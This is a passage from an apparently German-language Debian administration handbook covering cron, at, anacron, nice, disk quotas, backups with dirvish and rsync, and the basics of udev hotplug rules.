- Wartungsskripten ausführen (wie das Entfernen temporärer Dateien).

Standardmäßig können alle Benutzer die Ausführung von Aufgaben planen. Daher hat jeder Benutzer sein eigenes crontab, in dem er seine geplanten Befehle eintragen kann. Es kann mit dem Aufruf von crontab -e editiert werden (sein Inhalt ist in der Datei /var/spool/cron/crontabs/benutzer gespeichert).

SICHERHEIT cron und atd einschränken

Sie können den Zugriff auf cron einschränken, indem Sie eine ausdrückliche Autorisierungsdatei (Whitelist) in /etc/cron.allow anlegen, in der Sie nur diejenigen Benutzer angeben, denen es erlaubt ist, Befehle zeitlich zu planen. Allen übrigen wird diese Fähigkeit automatisch entzogen. Um im umgekehrten Fall ein oder zwei Störenfriede auszusperren, können Sie ihre Benutzernamen in die ausdrückliche Verbotsliste (Blacklist) /etc/cron.deny eintragen. Das gleiche Merkmal steht auch für atd mit den Dateien /etc/at.allow und /etc/at.deny zur Verfügung.

Der Root-Benutzer hat sein eigenes crontab, kann aber auch die Datei /etc/crontab benutzen oder zusätzliche crontab-Dateien in das Verzeichnis /etc/cron.d eintragen. Die beiden letztgenannten Lösungen haben den Vorteil, dass man mit ihnen die Benutzeridentität spezifizieren kann, die bei der Ausführung des Befehls verwendet werden muss.

Das Paket cron enthält standardmäßig einige zeitlich geplante Befehle, die folgendes ausführen:

- stündlich Programme im Verzeichnis /etc/cron.hourly/;

- täglich Programme in /etc/cron.daily/;

- wöchentlich Programme in /etc/cron.weekly/;

- monatlich Programme in /etc/cron.monthly/.

Viele Debian-Pakete sind auf diesen Dienst angewiesen: indem sie Wartungsskripten in diese Verzeichnisse legen, stellen sie den optimalen Betrieb ihrer Dienste sicher.

9.7.1. Aufbau der Datei crontab

TIPP Abkürzungen für cron

cron erkennt einige Abkürzungen, die die ersten fünf Felder eines crontab-Eintrags ersetzen. Sie entsprechen den üblichsten Optionen für die Zeitplanung:

- @yearly: jährlich (1. Januar um 00:00 Uhr);

- @monthly: monatlich (am Ersten des Monats um 00:00 Uhr);

- @weekly: wöchentlich (sonntags um 00:00 Uhr);

- @daily: täglich (um 00:00 Uhr);

- @hourly: stündlich (zu Beginn jeder Stunde).

SONDERFALL cron und Sommerzeit

In Debian berücksichtigt cron die Zeitumstellung (für die Sommerzeit oder genau genommen für jede bedeutende Änderung der Ortszeit) so gut wie möglich. So werden die Befehle, die während einer nicht existenten Stunde hätten ausgeführt werden sollen (zum Beispiel Aufgaben, die für 02:30 Uhr während der Zeitumstellung im Frühjahr geplant waren, da die Uhr um 02:00 Uhr direkt auf 03:00 Uhr springt), kurz nach der Zeitumstellung (das heißt um 03:00 Uhr Sommerzeit) ausgeführt. Andererseits werden Befehle im Herbst, wenn sie mehrmals ausgeführt würden (um 02:30 Uhr Sommerzeit und dann wieder eine Stunde später um 02:30 Uhr Normalzeit, da die Uhr um 03:00 Uhr Sommerzeit auf 02:00 Uhr zurückspringt), nur einmal ausgeführt.

Seien Sie jedoch vorsichtig: wenn die Reihenfolge, in der verschiedene geplante Aufgaben ausgeführt werden, und die Verzögerung zwischen den jeweiligen Ausführungszeitpunkten eine Rolle spielt, sollten Sie die Kompatibilität dieser Einschränkungen mit dem Verhalten von cron überprüfen; falls erforderlich, können Sie einen speziellen Zeitplan für die beiden problematischen Nächte des Jahres aufstellen.

Jede wesentliche Zeile eines crontab legt einen zeitlich festgelegten Befehl mit den folgenden sechs (oder sieben) Feldern fest:

- den Wert für die Minute (Zahl von 0 bis 59);

- den Wert für die Stunde (von 0 bis 23);

- den Wert für den Tag des Monats (von 1 bis 31);

- den Wert für den Monat (von 1 bis 12);

- den Wert für den Wochentag (von 0 bis 7, wobei 1 dem Montag entspricht und Sonntag sowohl durch 0 als auch durch 7 dargestellt wird; es ist auch möglich, die ersten drei Buchstaben des englischen Namens des Wochentages zu verwenden, wie Sun, Mon, usw.);

- den Benutzernamen, unter dessen Identität der Befehl ausgeführt werden muss (in der Datei /etc/crontab und in den Fragmenten, die sich in /etc/cron.d/ befinden, aber nicht in den eigenen crontab-Dateien des Benutzers);

- den auszuführenden Befehl (wenn die durch die ersten fünf Spalten festgelegten Bedingungen erfüllt sind).

Alle diese Einzelheiten sind auf der Handbuchseite crontab(5) dokumentiert.

Jeder Wert kann in Form einer Liste der möglichen Werte (durch Kommata getrennt) angegeben werden. Die Syntax a-b bezeichnet das Intervall aller Werte zwischen a und b. Die Syntax a-b/c bezeichnet das Intervall mit einer schrittweisen Erhöhung um c (Beispiel: 0-10/2 bedeutet 0,2,4,6,8,10). Ein Stern * ist ein Platzhalter, der alle möglichen Werte vertritt.

Beispiel 9.2. Beispiel einer crontab-Datei

#Format
#Minute Stunde Tag Monat Wochentag  Befehl

# Daten jeden Abend um 19:25 Uhr herunterladen
25  19   *   *   *    $HOME/bin/get.pl

# Werktags (Montag bis Freitag) um 8:00 Uhr
00  08   *   *   1-5  $HOME/bin/tu_etwas

# Den IRC-Proxy nach jedem Hochfahren neu starten
@reboot /usr/bin/dircproxy

TIPP Einen Befehl beim Hochfahren ausführen

Um einen Befehl unmittelbar nach dem Hochfahren des Rechners einmal auszuführen, können Sie das Makro @reboot verwenden (ein einfacher Neustart von cron löst keinen Befehl aus, der mit @reboot eingerichtet worden ist). Dieses Makro ersetzt die ersten fünf Felder eines crontab-Eintrags.

ALTERNATIVE cron mit systemd emulieren

Es ist möglich, einen Teil des Verhaltens von cron mit systemds Timermechanismus nachzubilden (siehe Abschnitt 9.1.1, „Das systemd Initialisierungssystem“).

9.7.2. Verwendung des Befehls at

at führt einen Befehl zu einem festgelegten Zeitpunkt in der Zukunft aus. Es nimmt in seiner Standardeingabe die gewünschte Zeit und das gewünschte Datum sowie den auszuführenden Befehl als Befehlszeilenparameter an. Der Befehl wird dann ausgeführt, als sei er in der aktuellen Shell eingegeben worden. at sorgt sogar dafür, dass die gegenwärtige Umgebungseinstellung festgehalten wird, um die gleichen Bedingungen zu reproduzieren, wenn es den Befehl ausführt. Die Zeit wird nach folgenden Regeln eingegeben: 16:12 oder 4:12pm bedeuten 16:12 Uhr. Das Datum kann in verschiedenen europäischen und westlichen Formaten angegeben werden, unter anderem als DD.MM.YY (27.07.15, also dem 27. Juli 2015 entsprechend), YYYY-MM-DD (was dasselbe Datum in der Form 2015-07-27 ist), MM/DD/[CC]YY (d.h. 12/25/15 oder 12/25/2015 ist der 25. Dezember 2015) oder einfach MMDD[CC]YY (so dass 122515 oder 12252015 jeweils den 25. Dezember 2015 darstellen). Ohne diese Angabe wird der Befehl ausgeführt, sobald die Uhr die angegebene Zeit erreicht (am selben Tag oder morgen, falls diese Zeit am selben Tag bereits vorüber ist). Sie können auch einfach „today“ oder „tomorrow“ schreiben, was selbsterklärend ist.

$ at 09:00 27.07.15 <<END
> echo "Heute hat Raphaël Geburtstag!" \
>   | mail lolando@debian.org
> END
warning: commands will be executed using /bin/sh
job 31 at Mon Jul 27 09:00:00 2015

Eine andere Syntax verschiebt die Ausführung um eine bestimmte Zeit: at now + Zahl Dauer. Die Dauer kann minutes, hours, days oder weeks sein. Die Zahl zeigt lediglich die Anzahl der genannten Einheiten an, die vor der Ausführung des Befehls verstrichen sein müssen.

Um eine mit cron geplante Aufgabe zu annullieren, führen Sie einfach crontab -e aus und löschen die entsprechende Zeile in der crontab-Datei. Für at-Aufgaben ist es fast genauso einfach: Führen Sie atrm Aufgabennummer aus. Die Nummer einer Aufgabe wird vom at-Befehl angezeigt, wenn Sie sie planen, aber Sie können sie auch mit dem Befehl atq wiederfinden, der die aktuelle Liste der geplanten Aufgaben ausgibt.

9.8. Asynchrone Aufgaben planen: anacron

anacron ist ein Daemon, der cron für solche Rechner ergänzt, die nicht ständig laufen. Da regelmäßige Aufgaben normalerweise für die Nacht geplant sind, werden sie nie ausgeführt, falls der Rechner zu dieser Zeit ausgeschaltet ist. Der Zweck von anacron besteht darin, sie unter Berücksichtigung der Zeiten, in denen der Rechner nicht läuft, auszuführen.

Bitte beachten Sie, dass anacron derartige Aktivitäten häufig einige Minuten nach dem Hochfahren des Rechners ausführen wird, wodurch der Computer langsamer reagieren kann. Daher werden Aufgaben in der Datei /etc/anacrontab mit dem Befehl nice gestartet, der ihre Ausführungspriorität reduziert und so ihren Einfluss auf das übrige System begrenzt. Vorsicht, das Format dieser Datei ist nicht das gleiche wie /etc/crontab; falls Sie besondere Anforderungen an anacron haben, sehen Sie auf der Handbuchseite anacrontab(5) nach.

ZURÜCK ZU DEN GRUNDLAGEN Prioritäten und der Befehl nice

Unix-Systeme (und damit auch Linux) sind Mehrprogramm- und Mehrplatzsysteme. So können mehrere Prozesse parallel laufen und verschiedenen Benutzern gehören: der Kernel vermittelt die Ressourcenzuweisung zwischen den verschiedenen Prozessen. Als Teil dieser Aufgabe verfügt er über ein Prioritätenkonzept, das es ihm erlaubt, je nach Bedarf bestimmte Prozesse gegenüber anderen zu bevorzugen. Wenn Sie wissen, dass ein Prozess mit geringer Priorität laufen kann, können Sie dies angeben, indem Sie ihn mit nice programm laufen lassen. Das Programm wird dann einen geringeren Anteil an der CPU-Zeit nutzen und weniger Auswirkungen auf andere laufende Prozesse haben. Natürlich wird das Programm nicht künstlich zurückgehalten, falls kein anderer Prozess laufen muss.

nice arbeitet mit Stufen von „niceness“: die positiven Stufen (von 1 bis 19) verringern zunehmend die Priorität, während die negativen Stufen (von -1 bis -20) sie erhöhen - aber nur Root kann diese negativen Stufen benutzen. Falls nichts anderes angegeben ist (siehe die Handbuchseite nice(1)), erhöht nice die aktuelle Stufe um 10.

Falls Sie bemerken, dass eine bereits laufende Aufgabe mit nice hätte gestartet werden sollen, ist es nicht zu spät, dies zu korrigieren; der Befehl renice ändert die Priorität eines bereits laufenden Prozesses in die eine oder andere Richtung (es ist jedoch dem Root-Benutzer vorbehalten, die „niceness“ eines Prozesses zu reduzieren).

Das Installieren des Pakets anacron deaktiviert die Ausführung der Skripten in den Verzeichnissen /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ und /etc/cron.monthly/ durch cron. Hierdurch wird eine doppelte Ausführung durch anacron und cron vermieden. Der Befehl cron bleibt jedoch aktiv und führt die übrigen geplanten Aufgaben aus (vor allem die von den Benutzern geplanten).

9.9. Quotas

Das Quota-System erlaubt es, die Zuteilung von Speicherplatz an einen Benutzer oder eine Gruppe von Benutzern zu begrenzen. Um es einzurichten, benötigen Sie einen Kernel, der es unterstützt (der mit der Option CONFIG_QUOTA kompiliert wurde) - wie es bei Debian-Kerneln der Fall ist. Die Quota-Management-Software befindet sich im Debian Paket quota.

Um Quota in einem Dateisystem zu aktivieren, müssen Sie die Optionen usrquota und grpquota in /etc/fstab jeweils für die Benutzer- und die Gruppen-Quota angeben. Durch einen Neustart des Rechners werden dann die Quota während der Inaktivität der Festplatte aktualisiert (eine notwendige Voraussetzung für das korrekte Erfassen bereits genutzten Speicherplatzes).

Der Befehl edquota Benutzer (oder edquota -g Gruppe) ermöglicht es Ihnen, die Grenzwerte zu ändern und zugleich die aktuelle Verwendung des Speicherplatzes zu überprüfen.

WEITERE SCHRITTE Quota mit einem Skript festlegen

Das Programm setquota kann dazu verwendet werden, mithilfe eines Skripts selbsttätig zahlreiche Quota zu ändern. Seine Handbuchseite setquota(8) beschreibt ausführlich die zu verwendende Syntax.

Das Quota-System ermöglicht es Ihnen, vier Grenzen zu setzen:

- zwei Grenzen („weich“ und „hart“ genannt) beziehen sich auf die Anzahl der verwendeten Blöcke. Falls das Dateisystem mit einer Blockgröße von 1 Kilobyte erstellt wurde, enthält ein Block 1024 Bytes derselben Datei. Unvollständig gefüllte Blöcke führen daher zu einem Verlust an Speicherplatz. Eine Quota von 100 Blöcken, die es theoretisch erlaubt, 102.400 Bytes zu speichern, ist mit nur 100 Dateien zu je 500 Bytes vollständig gefüllt, was insgesamt nur 50.000 Bytes entspricht.

- zwei Grenzen (weich und hart) beziehen sich auf die Anzahl der verwendeten Inodes. Jede Datei belegt wenigstens einen Inode, um Informationen über sich zu speichern (Berechtigungen, Eigentümer, Zeitstempel des letzten Zugriffs usw.). Sie sind daher Grenzen für die Anzahl von Benutzerdateien.

Eine „weiche“ Grenze kann vorübergehend überschritten werden; der Benutzer wird lediglich durch den Befehl warnquota, der gewöhnlich durch cron aufgerufen wird, gewarnt, dass er die Quota überschreitet. Eine „harte“ Grenze kann niemals überschritten werden; das System weist jede Operation ab, die zu einem Überschreiten einer harten Quota führen würde.

WÖRTERVERZEICHNIS Blöcke und Inodes

Das Dateisystem unterteilt die Festplatte in Blöcke - kleine zusammenhängende Bereiche. Die Größe dieser Blöcke wird während der Erstellung des Dateisystems festgelegt und variiert normalerweise zwischen 1 und 8 Kilobytes.

Ein Block kann entweder dazu genutzt werden, die tatsächlichen Daten einer Datei oder die vom Dateisystem verwendeten Metadaten zu speichern. Zu diesen Metadaten gehören insbesondere die Inodes. Ein Inode belegt einen Block auf der Festplatte (aber dieser Block wird bei der Block-Quota nicht berücksichtigt, sondern nur bei der Inode-Quota) und enthält sowohl Informationen über die Datei, zu der er gehört (Name, Eigentümer, Berechtigungen usw.), als auch die Zeiger zu den Datenblöcken, die tatsächlich genutzt werden. Für sehr große Dateien, die mehr Blöcke belegen, als in einem einzelnen Inode referenziert werden können, gibt es ein indirektes Blocksystem; der Inode verweist auf eine Liste von Blöcken, die nicht direkt Daten, sondern eine Liste anderer Blöcke enthalten.

Mit dem Befehl edquota -t können Sie eine höchstens erlaubte „Schonfrist“ festlegen, bis zu der eine weiche Grenze überschritten werden darf. Nach Ablauf dieser Frist wird die weiche Grenze wie eine harte behandelt, und der Benutzer muss seinen Speicherplatzverbrauch auf diese Grenze verringern, um etwas auf die Festplatte schreiben zu können.

WEITERE SCHRITTE Eine Standardquota für neue Benutzer einrichten

Um automatisch eine Quota für neue Benutzer festzulegen, müssen Sie (mit edquota oder setquota) einen Muster-Benutzer konfigurieren und seinen Benutzernamen in der QUOTAUSER-Variablen der Datei /etc/adduser.conf angeben. Diese Quota-Konfiguration wird dann automatisch auf jeden mit dem Befehl adduser erstellten Benutzer angewendet.

9.10. Datensicherung

Das Erstellen von Sicherheitskopien ist eine der Hauptaufgaben eines Administrators, aber es ist ein kompliziertes Thema mit mächtigen Werkzeugen, die häufig schwierig zu bedienen sind.

Es gibt viele Programme, wie zum Beispiel amanda, bacula oder BackupPC. Das sind Client/Server-Systeme mit vielen Optionen, deren Konfiguration ziemlich schwierig ist. Einige davon bieten benutzerfreundliche Webschnittstellen, um das zu vereinfachen. Debian enthält dutzende weitere Backup-Pakete, die alle möglichen Anwendungsfälle abdecken, wie man leicht mit dem Befehl apt-cache search backup feststellen kann.

Anstatt einige von ihnen im Einzelnen zu erklären, werden in diesem Abschnitt die Überlegungen der Administratoren von Falcot Corp. bei der Festlegung ihrer Backup-Strategie vorgestellt.

Bei Falcot Corp. haben Datensicherungen zwei Ziele: versehentlich gelöschte Dateien wiederherzustellen und schnell jeden Rechner (Server oder Arbeitsplatzrechner) wiederherzustellen, dessen Festplatte versagt hat.

9.10.1. Datensicherung mit rsync

Da Bandsicherungen als zu langsam und teuer erachtet wurden, werden die Daten auf den Festplatten eines speziell hierfür bestimmten Servers gesichert, auf dem die Verwendung eines Software-RAIDs (siehe Abschnitt 12.1.1, „Software-RAID“) die Daten vor einem Festplattenausfall schützt. Arbeitsplatzrechner werden nicht individuell gesichert, sondern Benutzer darüber informiert, dass ihr persönliches Konto auf dem Dateiserver ihrer Abteilung gesichert wird. Der Befehl rsync (aus dem gleichnamigen Paket) wird täglich zur Sicherung dieser verschiedenen Server benutzt.

ZURÜCK ZU DEN GRUNDLAGEN Die feste Verknüpfung, ein zweiter Name für die Datei

Eine feste Verknüpfung kann, im Gegensatz zu einer symbolischen Verknüpfung, nicht von der verknüpften Datei unterschieden werden. Das Erstellen einer festen Verknüpfung ist im Wesentlichen dasselbe wie einer bestehenden Datei einen zweiten Namen zu geben. Daher entfernt das Löschen einer festen Verknüpfung nur einen der Namen, die mit der Datei verbunden sind. Solange noch ein weiterer Name der Datei zugeordnet ist, bleiben die darin enthaltenen Daten auf dem Dateisystem bestehen. Dabei nimmt eine feste Verknüpfung, im Gegensatz zu einer Kopie, keinen zusätzlichen Platz auf einer Festplatte ein.

Eine feste Verknüpfung wird durch den Befehl ln ziel verknüpfung erstellt. Die Datei verknüpfung ist dann ein neuer Name für die Datei ziel. Feste Verknüpfungen können nur auf demselben Dateisystem erstellt werden, während symbolische Verknüpfungen dieser Einschränkung nicht unterliegen.

Der verfügbare Festplattenspeicherplatz lässt die Durchführung einer vollständigen täglichen Datensicherung nicht zu. Daher geht dem Befehl rsync eine Duplizierung des Inhalts der vorherigen Datensicherung mittels fester Verknüpfungen voraus, die den Verbrauch von zu viel Festplattenspeicherplatz verhindert. Der rsync-Prozess ersetzt dann nur die Dateien, die seit der vorherigen Datensicherung verändert wurden. Auf diese Weise kann eine große Anzahl von Datensicherungen auf relativ kleinem Raum untergebracht werden. Da alle Datensicherungen unmittelbar verfügbar und zugänglich sind (zum Beispiel in verschiedenen Verzeichnissen eines bestimmten Netzlaufwerks), können Sie schnell Vergleiche zwischen zwei bestimmten Zeitpunkten anstellen.

Dieser Datensicherungsvorgang kann mit dem Programm dirvish leicht umgesetzt werden. Es verwendet einen Sicherungsspeicherplatz („bank“ in seiner Sprache), in den er mit Zeitstempeln versehene Kopien eines Satzes von Sicherungsdateien ablegt (diese Sätze werden in der dirvish-Dokumentation „vaults“ genannt).

Die Hauptkonfiguration befindet sich in der Datei /etc/dirvish/master.conf. Sie legt den Ort des Speicherplatzes für die Dateisicherung fest, die Liste der zu verwaltenden „vaults“ und Standardwerte für den Verfallstermin der Dateisicherungen. Der Rest der Konfiguration befindet sich in den Dateien bank/vault/dirvish/default.conf und enthält die spezifische Konfiguration des jeweiligen Dateisatzes.

Beispiel 9.3. Die Datei /etc/dirvish/master.conf

bank:
/backup
exclude:
lost+found/
core
*~
Runall:
root    22:00
expire-default: +15 days
expire-rule:
#   MIN HR    DOM MON       DOW  STRFTIME_FMT
*   *     *   *         1    +3 months
*   *     1-7 *         1    +1 year
*   *     1-7 1,4,7,10  1

Die bank-Einstellung bezeichnet das Verzeichnis, in dem die Dateisicherungen gespeichert werden. Die exclude-Einstellung ermöglicht es, Dateien oder Dateitypen von der Sicherung auszuschließen. Das Runall ist eine Liste von Dateisätzen, die mit einem Zeitstempel für jeden Satz gesichert werden sollen, wodurch es möglich ist, der Kopie das korrekte Datum zuzuordnen für den Fall, dass die Dateisicherung nicht genau zu der vorgesehenen Zeit ausgelöst wird. Sie müssen eine Zeit kurz vor dem tatsächlichen Ausführungszeitpunkt angeben (was in Debian standardmäßig 22:04 h ist in Übereinstimmung mit /etc/cron.d/dirvish). Schließlich bestimmen die Einstellungen expire-default und expire-rule die Verfallsregeln für Dateisicherungen. Das obenstehende Beispiel behält Dateisicherungen unbefristet, die am ersten Sonntag jeden Quartals erstellt worden sind, löscht diejenigen vom ersten Sonntag jeden Monats nach einem Jahr und die von den übrigen Sonntagen nach drei Monaten. Sonstige tägliche Dateisicherungen werden 15 Tage lang aufbewahrt. Die Reihenfolge der Regeln ist wichtig. Dirvish verwendet die letzte passende Regel oder die expire-default-Regel, falls keine andere expire-rule passt.

IN DER PRAXIS Planmäßiger Verfall

Die Verfallsregeln werden nicht von dirvish-expire benutzt, um seine Aufgabe zu erledigen. Vielmehr werden die Verfallsregeln angewendet, wenn eine neue Sicherungskopie erstellt wird, um das Verfallsdatum zu bestimmen, das dieser Kopie zugeordnet wird. dirvish-expire geht einfach die gespeicherten Kopien durch und löscht diejenigen, deren Verfallsdatum bereits vergangen ist.

Beispiel 9.4. Die Datei /backup/root/dirvish/default.conf

client: rivendell.falcot.com
tree: /
xdev: 1
index: gzip
image-default: %Y%m%d
exclude:
/var/cache/apt/archives/*.deb
/var/cache/man/**
/tmp/**
/var/tmp/**
*.bak

Das oben stehende Beispiel legt den Satz der zu sichernden Dateien fest: dies sind Dateien auf dem Rechner rivendell.falcot.com (für eine lokale Dateisicherung legen Sie einfach den Namen des örtlichen Rechners fest, wie er von hostname angezeigt wird), genauer gesagt, diejenigen im Wurzelverzeichnis (tree: /) außer denen, die unter exclude aufgelistet sind. Die Dateisicherung ist auf den Inhalt eines Dateisystems (xdev: 1) beschränkt. Sie schließt Dateien von anderen Einhängepunkten nicht ein. Ein Index der gesicherten Dateien wird erzeugt (index: gzip), und das Abbild wird nach Maßgabe des aktuellen Datums benannt (image-default: %Y%m%d).

Es gibt zahlreiche Optionen, die alle auf der Handbuchseite dirvish.conf(5) dokumentiert sind. Sobald die Konfigurationsdateien erstellt sind, müssen Sie jeden Dateisatz mit dem Befehl dirvish --vault vault --init initialisieren. Von da an erstellt der tägliche Aufruf von dirvish-runall selbsttätig eine neue Sicherungskopie, nachdem die verfallenen gelöscht worden sind.

IN DER PRAXIS Dateisicherung aus der Ferne über SSH

Wenn dirvish Daten auf einen entfernten Rechner sichern muss, verwendet es ssh, um sich mit ihm zu verbinden, und startet rsync als Server. Dies setzt voraus, dass der Root-Benutzer sich automatisch mit ihm verbinden kann. Genau dies ist bei der Verwendung eines SSH-Legitimierungsschlüssels möglich (siehe Abschnitt 9.2.1.1, „Schlüsselbasierte Authentifizierung“).

9.10.2. Rechner ohne Sicherheitskopien wiederherstellen

Desktop-Computer die nicht gesichert werden, können sehr einfach neuinstalliert werden mit Hilfe einer mit Simple-CDD vorbereiteten, angepassten DVD-ROM (siehe Abschnitt 12.3.3, „Simple-CDD: die Komplettlösung“). Da dies eine Neuinstallation ist, gehen alle Anpassungen verloren, die eventuell nach der Erstinstallation vorgenommen worden waren. Das macht aber nichts, weil die Systeme alle mit einem zentralen LDAP-Verzeichnis für Benutzerkonten verknüpft sind und die meisten Desktop-Anwendungen sind dank dconf vorkonfiguriert (siehe Abschnitt 13.3.1, „GNOME“ für mehr Information dazu).

Die Falcot Corp. Administratoren sind sich der Grenzen ihrer Dateisicherungsstrategie bewusst. Da sie weder den Dateisicherungsserver noch ein Band in einem feuersicheren Tresor schützen können, haben sie ihn in einem getrennten Raum aufgestellt, so dass ein Unglück, wie ein Feuer im Serverraum, nicht die Dateisicherungen zusammen mit allem anderen zerstören würde. Darüber hinaus führen sie wöchentlich eine inkrementelle Dateisicherung auf CD-ROM durch - nur Dateien, die seit der letzten Dateisicherung verändert wurden, sind hierin einbezogen.

WEITERE SCHRITTE SQL- und LDAP-Dienste sichern

Viele Dienste (wie SQL- oder LDAP-Datenbanken) können nicht einfach durch das Kopieren ihrer Dateien gesichert werden (es sei denn, sie werden während der Erstellung der Datensicherungen ordnungsgemäß angehalten, was häufig problematisch ist, weil sie ständig verfügbar sein sollen). Daher ist es erforderlich, ein „Export“-Verfahren zu benutzen, um so einen Datenbank-„Dump“ zu erstellen, der auf sichere Weise gespeichert werden kann. Diese Dumps sind häufig recht groß, können aber gut komprimiert werden. Um den erforderlichen Speicherplatz zu verringern, wird man wöchentlich nur eine vollständige Textdatei speichern und täglich ein diff, das etwa mit einem Befehl wie diff gestrige_Datei heutige_Datei erstellt wird. Das Programm xdelta erzeugt inkrementelle Differenzen aus binären Dumps.

KULTUR TAR, der Standard für Bandsicherungen

Früher bestand der einfachste Weg, eine Dateisicherung in Unix durchzuführen, darin, ein TAR-Archiv auf einem Band zu speichern. Der tar-Befehl erhielt sogar seinen Namen von „TapeARchive“.

9.11. Wechsel im laufenden Betrieb: hotplug

9.11.1. Einführung

Das Kernel-Subsystem hotplug steuert das Anschließen und Wegnehmen von Geräten, indem die passenden Treiber geladen und die zugehörigen Gerätedateien (mit Hilfe von udevd) erzeugt werden. Mit moderner Hardware und Virtualisierung kann fast alles im Betrieb angeschlossen und entfernt werden: peripherals, sondern auch SATA-Festplatten genauso wie die CPU und der Hauptspeicher.

Der Kernel verfügt über eine Datenbank, die jeder Geräte-ID den erforderlichen Treiber zuordnet. Diese Datenbank wird während des Hochfahrens dazu benutzt, alle Treiber für die Peripheriegeräte zu laden, die auf den verschiedenen oben genannten Bussen erkannt wurden, aber auch wenn ein zusätzliches Hotplug-Gerät verbunden wird. Sobald das Gerät einsatzbereit ist, wird eine Nachricht an udevd geschickt, so dass es einen entsprechenden Eintrag in /dev/ erstellen kann.

9.11.2. Das Namensproblem

Vor dem Augmenter von Hotplug-Verbindungen war es leicht, einem Gerät einen festen Namen zuzuordnen. Er beruhte einfach auf der Position des Gerätes auf seinem jeweiligen Bus. Dies ist jedoch nicht möglich, wenn solche Geräte auf dem Bus kommen und gehen können. Der typische Fall ist die Benutzung einer Digitalkamera und eines USB-Sticks, die dem Rechner beide als Plattenlaufwerke erscheinen. Das als erstes angeschlossene könnte /dev/sdb sein und das zweite /dev/sdc (während /dev/sda die eigene Festplatte des Rechners darstellt). Der Gerätename ist nicht festgelegt; er hängt von der Reihenfolge ab, in der die Geräte angeschlossen werden.

Zusätzlich verwenden Treiber in zunehmendem Maße dynamische Werte für die Haupt- und Nebennummern der Geräte, wodurch es unmöglich wird, feststehende Einträge für bestimmte Geräte zu verwenden, da diese wesentlichen Kennzeichen sich nach einem Neustart ändern können.

udev wurde entwickelt, um genau dieses Problem zu lösen.

IN DER PRAXIS Verwaltung von Netzwerkkarten

Zahlreiche Rechner haben mehrere Netzwerkkarten (häufig zwei Kabelschnittstellen und eine Wifi-Schnittstelle), und mit Hotplug-Unterstützung der meisten Bustypen garantiert der Linux-Kernel keine feste Benennung der Netzwerkschnittstellen. Benutzer, die ihr Netzwerk in /etc/network/interfaces konfigurieren wollen, benötigen einen festen Namen!

Es wäre schwierig, jeden Benutzer zu bitten, seine eigenen udev-Regeln zu erstellen, um dieses Problem anzugehen. Deshalb wurde udev in einer recht eigenartigen Weise konfiguriert; beim ersten Hochfahren (und überhaupt jedes Mal, wenn eine neue Netzwerkkarte erscheint) verwendet es den Namen der Netzwerkschnittstelle und ihre MAC-Adresse, um neue Regeln zu erstellen, die denselben Namen bei nachfolgenden Rechnerstarts wieder zuweisen. Diese Regeln sind in /etc/udev/rules.d/70-persistent-net.rules abgespeichert.

Dieses Vorgehen hat einige Nebenwirkungen, die Sie kennen sollten. Nehmen wir den Fall eines Rechners, der nur eine PCI-Netzwerkkarte hat. Die Netzwerkschnittstelle heißt natürlich eth0. Nun nehmen wir an, dass die Karte ausfällt und vom Administrator ersetzt wird; die neue Karte wird eine neue MAC-Adresse haben. Da der alten Karte die Bezeichnung eth0 zugewiesen war, wir der neuen eth1 zugewiesen, obwohl eth0 für immer fort ist (und das Netzwerk wird nicht funktionieren, weil /etc/network/interfaces voraussichtlich eine eth0-Schnittstelle konfigurieren wird). In diesem Fall genügt es, einfach vor einem Neustart des Rechners die Datei /etc/udev/rules.d/70-persistent-net.rules zu löschen. Der neuen Karte wird dann die gewünschte Bezeichnung eth0 gegeben.

9.11.3. Wie udev funktioniert

Wenn udev vom Kernel über das Erscheinen eines neuen Gerätes informiert wird, sammelt es verschiedene Informationen über das betreffende Gerät, indem es die entsprechenden Einträge in /sys/ zurate zieht, vor allem diejenigen, die es eindeutig identifizieren (MAC-Adresse bei einer Netzwerkkarte, Seriennummer bei einigen USB-Geräten usw.).

Mit all diesen Informationen versehen konsultiert udev dann alle in /etc/udev/rules.d/ und /lib/udev/rules.d/ enthaltenen Regeln. Im Verlauf dieses Vorgangs entscheidet es, wie das Gerät bezeichnet werden soll, welche symbolische Verknüpfung erstellt werden soll (um ihm einen alternativen Namen zu geben), und welche Befehle ausgeführt werden sollen. All diese Dateien werden der Reihe nach konsultiert und alle Regeln nacheinander ausgewertet (außer wenn eine Datei „GOTO“-Anweisungen verwendet). So kann es mehrere Regeln geben, die sich auf einen bestimmten Vorgang beziehen.

Die Syntax von Regeldateien ist recht einfach: jede Zeile enthält Auswahlkriterien und die Festsetzung von Variablen. Erstere werden gebraucht, um Vorgänge auszuwählen, auf die reagiert werden muss, und letztere bestimmen die zu ergreifenden Maßnahmen. Sie sind alle einfach durch Kommata getrennt, und der Operator teilt sie implizit in Auswahlkriterien (durch Vergleichsoperatoren wie == oder !=) und Zuordnungsanweisungen ein (durch Operatoren wie =, += oder :=).

Vergleichsoperatoren werden bei den folgenden Variablen verwendet:

- KERNEL: die Bezeichnung, die der Kernel dem Gerät gibt;

- ACTION: die dem Vorgang entsprechende Aktion („add“, wenn ein Gerät hinzugefügt wurde, „remove“, wenn es entfernt worden ist);

- DEVPATH: der Pfad zum /sys/-Eintrag des Geräts;

- SUBSYSTEM: das Kernel-Subsystem, das die Anfrage gestellt hat (es gibt viele, einige Beispiele sind „usb“, „ide“, „net“, “firmware“ usw.);

- ATTR{Attribut}: Dateiinhalt der Attribut-Datei im /sys/$devpath/-Verzeichnis des Geräts. Hier finden Sie die MAC-Adresse und andere busspezifische Kennungen;

- KERNELS, SUBSYSTEMS und ATTRS{attributes} sind Varianten, die versuchen, den verschiedenen Optionen auf einem der übergeordneten Geräte des vorliegenden Geräts zu entsprechen;

- PROGRAM: delegiert den Test an das angegebene Programm (wahr, falls es 0 ausgibt, unwahr, falls nicht). Der Inhalt der Standardausgabe des Programms wird gespeichert, so dass er vom RESULT-Test erneut verwendet werden kann;

- RESULT: führt Tests auf der Standardausgabe durch, die während des letzten Aufrufs von PROGRAM gespeichert wurden.

Die richtigen Operanden können Strukturausdrücke benutzen, um mehreren Werten gleichzeitig zu entsprechen. Zum Beispiel entspricht * jeder Zeichenkette (selbst einer leeren); ? entspricht jedem Zeichen und [] entspricht dem Zeichensatz zwischen den eckigen Klammern (oder seinem Gegenteil, falls das erste Zeichen ein Ausrufezeichen ist und zusammenhängende Reihen von Zeichen, wie a-z, angegeben sind).

